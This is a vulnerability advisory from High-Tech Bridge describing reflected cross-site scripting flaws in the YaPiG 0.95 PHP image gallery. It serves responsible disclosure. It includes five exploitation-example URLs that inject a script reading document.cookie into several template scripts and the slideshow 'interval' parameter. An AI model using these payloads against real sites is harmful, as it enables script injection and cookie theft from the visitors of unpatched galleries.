Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in YaPiG

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22962
Product:YaPiG (Yet Another PHP Image Gallery)
Vendor:http://yapig.sourceforge.net/
Vulnerable Versions:0.95 and probably prior
Tested Version:0.95
Advisory Publication:April 19, 2011 [without technical details]
Vendor Notification:April 19, 2011
Public Disclosure:May 3, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in YaPiG which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in YaPiG
1.1 The vulnerability exists due to input sanitation errors in multiple scripts inside the template/default/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/template/default/add_comment_form.php?I_ADD_COMMENT=%3Cscript% 3Ealert%28document.cooki e%29;%3C/script%3E
http://[host]/template/default/admin_task_bar.php?I_ADMI N_TASKS=%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E
http://[host]/template/default/delete_ gallery_form.php?I_SELEC T_OPT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/te mplate/default/face_begi n.php?I_TITLE=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E

1.2 The vulnerability exists due to input sanitation error in the "interval" parameter in slideshow.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/slideshow.php?interval=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22962 - https://www.immuniweb.com/advisory/HTB22962 - Cross-site Scripting (XSS) Vulnerabilities in YaPiG
[2] YaPiG - yapig.sourceforge.net - Yapig is a simple but powerful image gallery written in php.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question